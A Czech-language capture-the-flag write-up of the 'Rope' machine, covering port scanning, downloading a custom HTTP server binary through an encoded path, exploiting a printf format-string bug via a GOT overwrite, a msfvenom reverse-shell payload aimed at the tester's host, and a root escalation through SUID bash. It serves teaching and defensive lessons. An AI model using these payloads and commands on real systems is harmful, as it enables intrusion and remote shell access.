Rope
Úvod a kontext
Rope je zajímavý tím, že user část stojí na skutečné aplikační chybě ve vlastním HTTP serveru, zatímco root část naopak na velmi triviální konfigurační chybě. Právě ten kontrast je na stroji nejpoučnější a dobře zapadá i do obecnějšího vzorce popsaného v článku Memory corruption a binary exploitation v praxi.
Důležité je také technicky správně pojmenovat první zranitelnost. Nešlo o klasický buffer overflow, ale o format string v logovací funkci, který šel po reverzní analýze převést na vykonání vlastního příkazu.
Počáteční průzkum
Vyhledání otevřených portů
Síťový scan byl velmi úsporný: SSH a nestandardní HTTP služba na portu 9999.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
9999/tcp open http
Získání binárky vlastní služby
HTTP odpověď prozradila vlastní „simple http server“. Když služba používá vlastní binárku místo běžného Apache nebo nginxu, dává smysl pokusit se tu binárku získat a analyzovat.
curl -i http://10.10.10.148:9999/?remember-me=on
curl http://10.10.10.148:9999/%2fopt/www/httpserver -o httpserver
Server: simple http server
Percent-encoded cesta /%2fopt/www/httpserver vrátila samotný serverový binární soubor. To je klíčový mezikrok: bez něj by další exploitace byla výrazně pomalejší a méně spolehlivá.
Analýza zjištění
Reverzní analýza httpserver
V dekompilované funkci log_access() bylo vidět přímo nechráněné volání:
printf("%s:%d %d - ", pcVar3, (uint)uVar2, param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400);
To je podstatný detail. param_3 obsahuje data ovlivnitelná z HTTP požadavku, takže printf(param_3) umožňuje formátovací sekvence jako %x a hlavně %n. Jinými slovy: útočník nedostává jen čtení paměti, ale i možnost zapsat zvolenou hodnotu na zvolenou adresu.
Lokální exploit proto nepoužíval ROP řetězec nad zásobníkem, ale přepsání položky v GOT. Cílem bylo převést pozdější volání puts(param_3 + 0x400) na system(param_3 + 0x400). Jakmile se to podaří, stačí do další části kontrolovaného bufferu vložit příkaz pro reverzní shell.
req = r'id /{}'.format(url_encode(
'\xb0\xe3\xe3\xf7' + '\x10\x47\xe1\xf7' + ('%x' * 57) + '%n'
))
Získání přístupu
Zneužití format string chyby
Po nalezení vhodných adres v lokální kopii binárky šel exploit spustit přímo proti službě na portu 9999. Smysl použití msfvenom tady nebyl v „magickém exploitu“, ale jen v tom, že bylo potřeba rychle připravit spustitelný payload pro shell po přepsání cílové funkce. Praktickou roli tohoto typu payload generation rozebírám i v článku Metasploit: msfconsole a msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4000 -f py
curl -i -X "$(python exploit2.py)" http://10.10.10.148:9999
Výsledkem byl shell v kontextu procesu služby. Tím se uzavřela technicky náročnější část stroje: od zjištění vlastního serveru, přes získání binárky, až po reverzní analýzu a zneužití format string chyby.
Eskalace oprávnění
SUID bash
Oproti user části byla root eskalace až nepříjemně jednoduchá. Lokální enumerace ukázala bash se zapnutým SUID bitem:
find / -perm -4000 -type f 2>/dev/null
/bin/bash
V takové situaci stačí:
/bin/bash -p
cat /root/root.txt
Přepínač -p zachová efektivní UID procesu a vrátí root shell. Nejde o „trik“, ale o přímý důsledek toho, že interaktivní shell byl omylem označený jako SUID binárka. Tenhle typ chyby rozebírám i obecněji v článku SUID/GTFOBins a netypické binárky.
Shrnutí klíčových poznatků
- Získání user přístupu stálo na reverzní analýze vlastního HTTP serveru a na odhalení format string chyby v
printf(param_3). - Praktická exploitace využila přepsání GOT, tedy změnu chování pozdějšího
puts()nasystem(), nikoli klasický stack overflow. - Root část naopak nebyla o exploitu vůbec. Rozhodující byla elementární chyba v hardeningu: SUID bit na
/bin/bash.
Co si odnést do praxe
- Vlastní síťové služby a „malé pomocné servery“ potřebují stejný review jako produkční aplikace. Jedno nechráněné
printfv logování může stačit k plnému code execution. - Zveřejnění nebo odcizení binárky výrazně snižuje cenu obrany přes obscuritu. Jakmile si útočník může službu rozebrat lokálně, drobné implementační chyby se hledají výrazně snáz.
- SUID na obecných interpretech a shellech je téměř vždy fatální chyba. Pokud je systémový shell spustitelný s efektivním UID roota, je veškerá předchozí obrana prakticky zbytečná.